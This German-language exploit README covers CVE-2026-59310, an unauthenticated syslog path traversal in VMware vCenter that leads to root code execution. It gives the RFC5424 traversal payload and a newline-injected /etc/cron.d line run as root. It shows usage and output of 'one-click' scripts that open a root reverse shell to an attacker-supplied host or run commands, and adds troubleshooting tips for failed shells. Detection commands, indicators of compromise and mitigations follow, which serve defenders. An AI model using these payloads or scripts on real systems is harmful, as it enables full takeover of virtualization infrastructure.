CVE-2026-59310 — VMware vCenter Syslog-Verzeichnisdurchquerung führt zu unautorisierter RCE

Haftungsausschluss: Dieses Projekt dient ausschließlich autorisierten Sicherheitstests, Schwachstellenvalidierungen und Verteidigungsforschung. Bitte verwenden Sie es nur in Umgebungen, für die eine ausdrückliche schriftliche Genehmigung vorliegt. Die Nutzer tragen selbst die volle Verantwortung für alle Konsequenzen, die sich aus einem Missbrauch ergeben.

Inhaltsverzeichnis

• Schwachstellenübersicht
• Betroffene Versionen
• Ursache der Schwachstelle
• Ausnutzungskette
• Umgebung und Reproduktionsvalidierung
• Skript-Reproduktion
• Erkennung und Selbstprüfung
• Empfehlungen zur Behebung
• Häufig gestellte Fragen
• Referenzlinks

Schwachstellenübersicht

Der in vCenter integrierte syslog-Empfangsdienst (rsyslog) verwendet dynamische Pfadvorlagen zum Speichern von Protokollen. Die Vorlage fügt die Felder APP-NAME und HOSTNAME aus dem Nachrichtenkopf direkt in den Dateipfad ein, ohne eine Pfadbereinigung durchzuführen. Ein Angreifer kann durch Senden speziell präparierter Nachrichten an einen erreichbaren syslog-Port erreichen, dass der Schreibpfad das vorgesehene Protokollverzeichnis verlässt, und in Kombination mit geplanten Aufgaben beliebigen Code ausführen.

vCenter ist das zentrale Verwaltungssystem für Virtualisierung. Ein Kompromittieren bedeutet den Verlust der gesamten vSphere-/VCF-Umgebung.

Betroffene Versionen

Betroffene Versionen (unterhalb der folgenden korrigierten Versionen)

Ebenfalls betroffen: eigenständig bereitgestellte vCenter-Instanzen sowie betroffene vCenter-Komponenten in VMware Cloud Foundation, VMware vSphere Foundation und VMware Telco Cloud.

Validierte Umgebung: VMware vCenter Server 9.0.2.0 / Build 25148086, älter als die korrigierte Version 25629525, eindeutig im ungepatchten Zustand.

Ursache der Schwachstelle

1. Dynamische Pfadvorlage fügt nicht vertrauenswürdige Felder direkt zusammen

/etc/rsyslog.conf (VMware-Werkskonfiguration):

29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

%app-name% wird gleichzeitig als Verzeichnisname und Dateiname verwendet, ohne Pfadbereinigung.

2. Selektor zu locker

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

Es wird lediglich ein Präfixabgleich verlangt. Ein Angreifer kann mit rsyslog/... diese Regel treffen und in die dynamische Pfadvorlage gelangen.

3. Zeilenumbruch-Durchdringung (Schlüssel zur RCE)

24: $EscapeControlCharactersOnReceive off

Zeilenumbrüche im Nachrichteninhalt werden unverändert auf die Festplatte geschrieben, wodurch der Angreifer die Zeilenstruktur der geschriebenen Datei kontrollieren kann.

4. Zentraler Umgehungspunkt: inkonsistentes Verhalten der RFC3164- und RFC5424-Parser

Dies ist der am leichtesten übersehene Punkt dieser Schwachstelle.

• RFC3164 (pmrfc3164): Bei der Analyse des Hostnamens wird eine Zeichen-Whitelist verwendet; / ist standardmäßig nicht zugelassen, wodurch APP-NAME bei / abgeschnitten wird → keine Durchquerung möglich.
• RFC5424 (pmrfc5424): APP-NAME ist ein eigenständiges, durch Leerzeichen getrenntes Feld und unterliegt keiner Zeichen-Whitelist-Prüfung; / und .. bleiben unverändert erhalten → Durchquerung möglich.

Der serverseitige input(type="imudp" port="514") verwendet das Standard-Regelset und akzeptiert gleichzeitig RFC5424-Nachrichten. Ein Angreifer muss die Nachricht nur im RFC5424-Format verfassen, damit die Durchquerungszeichen direkt in den Dateipfad gelangen.

Vergleich in der Praxis (gleiche Nutzlast rsyslog/../../../../tmp/x):

Indizienbeweis: Ein reines .. wird als wörtlicher Verzeichnisname angelegt (z. B. rsyslog..), was zeigt, dass die omfile-Schicht von rsyslog keine ..-Normalisierung durchführt; entscheidend für Erfolg oder Misserfolg ist, ob der Parser / in das Feld gelangen lässt.

Ausnutzungskette

① Unauthentifiziertes UDP-Paket  →  ② RFC5424 APP-NAME trägt Durchquerung  →  ③ Entkommen aus dem Protokollverzeichnis, beliebiges Schreiben (root)
                                                          ↓
                     ⑤ root-Codeausführung  ←  ④ Platzierung einer geplanten Aufgabe in /etc/cron.d

Schritte ①②③: Unauthentifiziertes beliebiges Dateischreiben (root)

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

Eingesetzt in die Vorlage:

Verzeichnis = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
Datei       = wie oben + "-syslog.log"                       →  /tmp/PWNED-syslog.log

Ergebnis: Schreiben von /tmp/PWNED-syslog.log mit root als Eigentümer; fehlende übergeordnete Verzeichnisse werden automatisch angelegt, der Inhalt ist vollständig kontrollierbar.

Schritte ④⑤: Vom Dateischreiben zur RCE

Der geschriebene Dateiname endet fest auf -syslog.log, sodass /etc/cron.d/xxx nicht direkt überschrieben werden kann. Mithilfe der Zeilenumbruch-Durchdringung kann jedoch im MSG ein Zeilenumbruch injiziert werden, sodass der kontrollierbare Inhalt ab Spalte 0 der Datei beginnt:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← cron meldet "bad minute", wird ignoriert
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← wird als gültige cron-Zeile ausgeführt
#

crond führt dies mit root-Rechten aus, Ergebnis:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

Alternative Ablagepfade

• VAMI-Statikressourcenverzeichnis: Schreiben nach /opt/vmware/share/htdocs/ (lighttpd lauscht auf 5480), anschließend Abruf über https://<target>:5480/..., übereinstimmend mit der Beschreibung im Herstellerhinweis.
• /var/spool/cron/root: In dieses Verzeichnis kann geschrieben werden, es wird jedoch eine Datei namens root selbst benötigt, was durch das Suffix -syslog.log eingeschränkt wird; daher ist /etc/cron.d/ direkter.

Umgebung und Reproduktionsvalidierung

Validierungsergebnisse

Beliebiges Dateischreiben (unauthentifiziert)

$ python3 exploit_cve_2026_59310.py <target> --check
[i] API-Namespace-Version: 9.0.0.0  (kein appliance build, nur als Fingerprint-Referenz)
[*] APP-NAME    : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] Gesendet. Erwartet wird die Erzeugung einer root-eigenen Datei auf dem Ziel

# Auf dem Ziel:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log

Befehlsausführung (root)

$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] Platziert    : /etc/cron.d/cve59310<name>-syslog.log
[i] Ergebnis lesen: cat /tmp/cve59310_<name>.txt

# Nach etwa 60 s:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost

Interaktive Reverse Shell (root)

$ python3 exploit_cve_2026_59310.py <target> --lhost <deine IP> --lport 4444
[+] Lauscht auf 0.0.0.0:4444
[+] Platziert    : /etc/cron.d/cve59310<name>-syslog.log
[+] Rückverbindung erfolgreich, von <target>:56184  —— root-Shell hergestellt

root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root

Bitte ersetzen Sie Ziel-IP, Rückverbindungsadresse usw. durch Ihre eigene autorisierte Testumgebung.

Skript-Reproduktion

Abhängigkeiten

• Python 3.8+ (nur Standardbibliothek, keine Drittanbieterpakete erforderlich)
• Netzwerkerreichbarkeit des Ziel-syslog-Ports (standardmäßig UDP/514)

Ein-Klick-Ausnutzungsskript exploit_cve_2026_59310.py

# 1) Interaktive root-Reverse-Shell (am häufigsten verwendet)
python3 exploit_cve_2026_59310.py <target> --lhost <deine IP> --lport 4444

# 2) Einzelnen Befehl ausführen, Ausgabe wird in /tmp/<name>.txt auf dem Ziel geschrieben
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"

# 3) Nicht destruktive Validierung: nur Nachweis des unauthentifizierten beliebigen Dateischreibens
python3 exploit_cve_2026_59310.py <target> --check

# 4) Bereinigungsbefehle anzeigen
python3 exploit_cve_2026_59310.py <target> --cleanup

Häufig verwendete Parameter:

Kompaktes PoC poc_vcenter_rce.py

python3 poc_vcenter_rce.py <target> --check              # Beliebiges Schreiben verifizieren
python3 poc_vcenter_rce.py <target> --rce "id" --name t  # Befehlsausführung
python3 poc_vcenter_rce.py <target> --cleanup            # Bereinigungshinweis

Ursprünglicher Sender poc_syslog_traversal.py

Ermöglicht die unabhängige Steuerung von HOSTNAME / APP-NAME zur manuellen Konstruktion von Nachrichten:

python3 poc_syslog_traversal.py <target> \
    --tag 'rsyslog/../../../../tmp/test' --msg 'hello'

Bereinigung

Diese Schwachstelle bietet nur ein Schreibprimitiv; das Skript kann entfernte Dateien nicht selbst löschen. Die Bereinigung muss auf dem Ziel ausgeführt werden:

rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*

Erkennung und Selbstprüfung

Feststellen, ob eine Betroffenheit möglich ist

# In der vCenter-Shell die Version prüfen (9.0-Zweig mit Build < 25629525 ist ungepatcht)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version

# Prüfen, ob anfällige dynamische Pfadvorlagen vorhanden sind
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf

# Prüfen, ob die Zeilenumbruch-Durchdringung aktiviert ist
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf

Suche nach Kompromittierungsspuren

# 1) Auffällige Dateien unter /etc/cron.d (Schwerpunkt: Einträge mit Suffix -syslog.log)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null

# 2) Verdächtige *-syslog.log-Dateien außerhalb der Protokollverzeichnisse (vollständiger Scan, am effektivsten)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null

# 3) Durch Durchquerung entstandene auffällige Verzeichnisse (auf Verzeichnisse mit Zeichen wie .. oder % achten)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'

# 4) In das VAMI-Statikverzeichnis geschriebene Inhalte
ls -la /opt/vmware/share/htdocs/

# 5) Auffällige Hostnamen in syslog-Weiterleitungsprotokollen (APP-NAME mit / oder ..)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head

Hinweis: Der vollständige Scan in Punkt 2 ist die zuverlässigste Untersuchungsmethode. Wenn die Vorlage auf einen nicht existierenden Pfad durchquert wird, erstellt rsyslog die übergeordneten Verzeichnisse automatisch. Daher sind fehlerhafte Verzeichnisse wie /..etc/ oder /rsyslog../ ebenfalls eindeutige Kompromittierungsspuren.

Empfehlungen zur Behebung

Vorrangig: Upgrade auf eine korrigierte Version

Nehmen Sie das Upgrade gemäß der Tabelle unter Betroffene Versionen vor. Der 9.0-Zweig erfordert mindestens 9.0.2.0100 (Build 25629525).

Vorübergehende Abhilfemaßnahmen (wenn ein sofortiges Upgrade nicht möglich ist)

1. Angriffsfläche für RFC5424 schließen (am direktesten): Den Eingaben 514/1514 explizit den Parser pmrfc3164 zuweisen.

   root@kitploit:~

   parser(name="p3164" type="pmrfc3164")
   input(type="imudp" port="514" ruleset="all" parser="p3164")
   

2. Explizite Pfadbereinigung: Für omfile securepath="normal" und secpath-drop="replace" konfigurieren. Der Sicherheitshinweis von rsyslog (GHSA-xmp9-244p-5ggv) weist ausdrücklich darauf hin, dass securepath die zuverlässige Pfadgrenze ist.

3. Zeilenumbruch-Durchdringung blockieren: $EscapeControlCharactersOnReceive on setzen.

4. Selektor verschärfen: :app-name, startswith, "rsyslog" auf exakte Übereinstimmung umstellen; die Hostnamen-Prüfregel auf eine Whitelist nach Quell-IP / Netzsegment umstellen, damit keine beliebigen externen Absender in die dynamische Pfadvorlage gelangen.

5. Netzwerkisolierung: 514/1514 nur für verwaltete ESXi-Hosts und vertrauenswürdige Log-Forwarder öffnen; Zugriff aus Nicht-Management-Netzen verbieten.

⚠️ Hinweis: Derzeit ist der Schutz des %hostname%-Pfads nur eine zufällige Verteidigungslinie durch das Standardverhalten des RFC3164-Parsers, keine zuverlässige Sicherheitsgrenze. Sobald aus Kompatibilitätsgründen permit.slashesinhostname aktiviert wird, wird dieselbe Regel sofort ausnutzbar.

Häufig gestellte Fragen

F: Warum meldet das Tool die Version 9.0.0.0, was nicht zum tatsächlichen Build passt?

/sdk/vimServiceVersions.xml gibt die API-Namespace-Version zurück, nicht die Appliance-Build-Nummer. Daraus lässt sich nicht ableiten, ob bereits gepatcht wurde. Bitte in der vCenter-Shell mit cat /etc/vmware-release den tatsächlichen Build prüfen.

F: Nach der Befehlsausführung ist kein Ergebnis abrufbar?

crond plant jede Minute; in der Regel muss etwa 60 s gewartet werden. Außerdem bietet diese Schwachstelle nur ein Schreibprimitiv; das Skript kann Dateien nicht selbst zurücklesen. Auf dem Ziel muss cat /tmp/cve59310_<name>.txt ausgeführt werden. Alternativ kann mit --read-cmd ein externer Lesebefehl übergeben werden (z. B. ssh root@target cat {path}).

F: Die Reverse Shell verbindet sich nicht zurück?

Häufige Ursachen: Das Ziel kann den Angriffsrechner nicht erreichen (Firewall / NAT / Netzsegmentisolierung); crond wurde noch nicht ausgelöst (--timeout erhöhen); der Lauschport ist nicht freigegeben. Mit --method python kann auf eine Fallback-Implementierung umgeschaltet werden.

F: Warum liefert -c "a; b" nur teilweise Ausgabe?

Wurde behoben. Das Skript verwendet die gruppierte Umleitung { cmd; } > file 2>&1, um sicherzustellen, dass die Ausgabe der gesamten Befehlsfolge erfasst wird (a; b > file würde nur den letzten Befehl umleiten).

Referenzlinks

• Herstellerhinweis VMSA-2026-0006: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017
• Technische Analyse (Mobeta): https://mobeta.fr/blog/vcenter-cve-2026-59309-cve-2026-59310/
• rsyslog omfile dynaFile-Härtungshinweis (GHSA-xmp9-244p-5ggv): https://github.com/rsyslog/rsyslog/security/advisories/GHSA-xmp9-244p-5ggv
• vCenter 9.0.2.0100 Versionshinweise: https://techdocs.broadcom.com/us/en/vmware-cis/vcf/vcf-9-0-and-later/9-0/release-notes/patch-releases-9-0-0-x/vsphere/vcenter/vcenter-9-0-2-0100-release-notes.html